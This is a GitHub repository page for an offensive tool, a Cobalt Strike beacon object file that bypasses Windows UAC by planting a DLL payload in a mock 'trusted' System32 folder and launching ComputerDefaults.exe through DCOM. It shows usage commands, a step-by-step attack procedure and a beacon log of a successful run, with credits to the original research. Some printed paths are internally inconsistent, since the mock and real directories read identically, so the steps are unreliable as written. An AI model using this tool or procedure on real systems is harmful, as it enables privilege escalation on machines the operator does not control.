

About

Cobalt Strike beacon object file implementation for trusted path UAC bypass. The target executable will be called without involving "cmd.exe" by using DCOM object.

 [Readme](#)

 Activity

☆ 116 stars

5 watching

 38 forks

Report repository

Releases

No releases published

Packages

No packages published

Languages

● C 98.7% ● Makefile 1.3%

 Makefile

 README.md

 beacon.h

 execution.png

 trustedpath-uacbypa...

 trustedpath-uacbypa...

 trustedpath-uacbypa...

 README

BOF - Trusted Path UAC Bypass

Beacon object file implementation for trusted path UAC bypass. The target executable will be called without involving "cmd.exe" by using DCOM object.

Technical details:

<https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows>

Usage

```
Example: bof-trustedpath-uacbypass
```

```
ComputerDefaults.exe /root/edputil.dll
```

Compile

```
make
```

Execution

```
beacon> help bof-trustedpath-uacbypass
```

```
Version: 1.0
```

```
Author: Chris Au
```

```
Twitter: @netero_1010
```

```
Github: @netero1010
```

```
=====Trusted Path UAC Bypass BOF
Step 1: Upload the DLL payload to "C:\Windows\Tasks"
Step 2: Create a new folder called "C:\Windows\System32\ComputerDefaults.exe"
Step 3: Copy desired executable to "C:\Windows\System32\ComputerDefaults.exe"
Step 4: Copy the DLL payload to "C:\Windows\System32\ComputerDefaults.exe"
Step 5: Use DCOM to execute "C:\Windows\System32\ComputerDefaults.exe"
Step 6: Delete the DLL payload on "C:\Windows\Tasks"
=====
```

```
Example: bof-trustedpath-uacbypass ComputerDefaults.exe /root/Desktop/edputil.dll
```

```
beacon> bof-trustedpath-uacbypass ComputerDefaults.exe /root/Desktop/edputil.dll
[+] Dropped DLL payload to "C:\Windows\Tasks" folder.
[+] host called home, sent: 410696 bytes
[+] received output:
Copying file from "C:\Windows\System32\ComputerDefaults.exe" to "C:\Windows\System32\ComputerDefaults.exe".
[+] received output:
Executable copied successfully.
[+] received output:
DLL payload copied successfully.
[+] received output:
Executing "C:\Windows\System32\ComputerDefaults.exe"...
[+] received output:
Cleaning up...
[+] received output:
DLL payload in the "C:\Windows\Tasks" deleted successfully.
```

Credit @David Wells and @Wietze for excellent research

<https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e>

<https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows>

@Yas_o_h for the awesome DCOM BOF implementation
<https://github.com/Yaxser/CobaltStrike-BOF/tree/master/DCOM%20Lateral%20Movement>

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.